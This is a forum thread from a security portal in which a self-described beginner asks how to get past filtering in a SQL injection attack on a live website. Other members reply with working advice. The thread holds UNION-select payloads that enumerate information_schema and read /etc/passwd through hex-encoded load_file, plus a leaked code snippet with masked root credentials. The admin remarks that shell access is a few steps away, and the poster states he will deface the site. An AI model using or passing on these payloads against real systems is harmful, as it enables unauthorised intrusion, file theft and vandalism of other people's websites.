Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 29, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 784
Members: 0
Total: 784
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> How to bypass?
Post new topic  Reply to topic View previous topic :: View next topic 
How to bypass?
PostPosted: Mon Mar 24, 2008 9:50 am Reply with quote
ponas
Beginner
Beginner
 
Joined: Mar 24, 2008
Posts: 4




Hello.

I am testing a web site. I've found what columns are outputed and now i am trying to get the information_schema.tables infomation.
I can't use any semicolns or strings in my syntax as i get an error:
Code:
?id=null+union+all+select+1,2,3,table_name%20from%20information_schema.tables,5/*

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/***/******.php on line 220

so i have tried:
Code:
null+union+all+select+1,2,3,char(116,97,98,108,101,95,110,97,109,101,32,102,114,111,109,32,105,110,102,111,114,109,97,116,105,111,110,95,115,99,104,101,109,97,46,116,97,98,108,101,115),5

Then i get only the string in place where normal data should be outputed:
"table_name from information_schema.tables"

i have also tried:
Code:
?id=null+union+all+select+1,2,3,concat(char(116),char(97),char(98),char(108),char(101),char(95),char(110),char(97),char(109),char(101),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(116),char(97),char(98),char(108),char(101),char(115)),5/*

outputs same string:
"table_name from information_schema.tables"

using --, /*, /**/ makes no difference

Any ideas?
Thanks.
View user's profile Send private message
PostPosted: Mon Mar 24, 2008 10:31 am Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




if Mysql version 5.x.x try this :

Code:
?id=null+union+all+select+1,2,3,concat(table_name,0x3e,column_name),5+from+information_schema.columns--+
View user's profile Send private message Visit poster's website
PostPosted: Mon Mar 24, 2008 5:58 pm Reply with quote
ponas
Beginner
Beginner
 
Joined: Mar 24, 2008
Posts: 4




Yes, mysql version is 5.0.38.

And sorry i forgot to mention that i can't put chars anywhere in my query, for an example this works:
v?id=null+union+all+select+1,2,3,load_file(0x2F6574632F706173737764),5x[/code]
also it works if i put filename in decimal, etc.

And this doesn't work:
?id=null+union+all+select+1,2,3,load_file('/etc/passwd'),5 <---BAD
?id=null+union+all+select+1,2,3,a,5 <---BAD
?id=null+union+all+select+1,2,3,'a',5 <---BAD

By using load_file i have got source and this is how mysql query looks like:
Code:
$dbc=mysql_connect("localhost","root","*************") or die("Cant connect to DB");
mysql_select_db("web_pg",$dbc);

if(!isset($id)) $id=0;
$sql_link = "select * from nav where id=$id";
$result_link = mysql_query($sql_link);
$row_link = mysql_fetch_array($result_link);


No check for bad symbols at all, but why cant i put chars there? Strage Confused

I've started to learn sql injection only yesterday, wont get this page on my own.
View user's profile Send private message
PostPosted: Mon Mar 24, 2008 6:12 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Php magic_quotes --> it makes '/etc/passwd' to \'/etc/passwd\' Smile

And you said yourself, that hexadecimal 0xaabbccdd-style text strings are working. So what's the problem?? You have mysql root access level, you can read and write files. Few steps from getting shell access. Or is there any other problems?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 24, 2008 7:20 pm Reply with quote
ponas
Beginner
Beginner
 
Joined: Mar 24, 2008
Posts: 4




waraxe wrote:
Php magic_quotes --> it makes '/etc/passwd' to \'/etc/passwd\' Smile

And you said yourself, that hexadecimal 0xaabbccdd-style text strings are working. So what's the problem?? You have mysql root access level, you can read and write files. Few steps from getting shell access. Or is there any other problems?


magic_quotes makes sense, but why can't i put ANY chars in my sql query (in column 4)?
Is there any posibility to make mysql interpret char() and/or concat() or other funcion's returned value not like a string but like a normal mysql query?

lets say this returns all table names from information_schema.tables:
Code:
select id,val,dir from blabla union all select 1,2,table_name from information_schema.tables


BUT this:
Code:
select id,val,dir from blabla union all select 1,2,concat(char(116),char(97),char(98),char(108),char(101),char(95),char(110),char(97),char(109),char(101),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(116),char(97),char(98),char(108),char(101),char(115))

returns something like:
|10|blabla|table_name from information_schema.tables|

will make deface tomorow to proove my friend how lazy he is Wink
View user's profile Send private message
PostPosted: Mon Mar 24, 2008 8:04 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Similar discussion:

http://www.thescripts.com/forum/thread491641.html

Code:


Is it possible to have a dynamic table name within a query or a table
name that is a variable? This does not work but gives an example:

SELECT * FROM concat('table', 'name')
- OR -

SET @table = 'a';
SELCT * FROM @table

Of course the query can be constructed dynamically but does not exactly
fit the needs. The situation is very complicated and would just be
confusing to discuss here so please do not offer suggestions on how to
construct the query programically as that will not work for this
situation.

...

Table names, column names, etc. cannot be dynamic in the way you
describe. This is not permitted by the SQL language, for many reasons.

For instance, there would be no way for the query optimizer to decide
which index(es) to use, if it doesn't know at parse time which tables
and columns are being queried.

Find another way to solve your problem.


Only way seems to be use of dynamic queries via procedures, but it's usually not possible from sql injection.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 24, 2008 10:28 pm Reply with quote
ponas
Beginner
Beginner
 
Joined: Mar 24, 2008
Posts: 4




Thank you.
View user's profile Send private message
How to bypass?
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.154 Seconds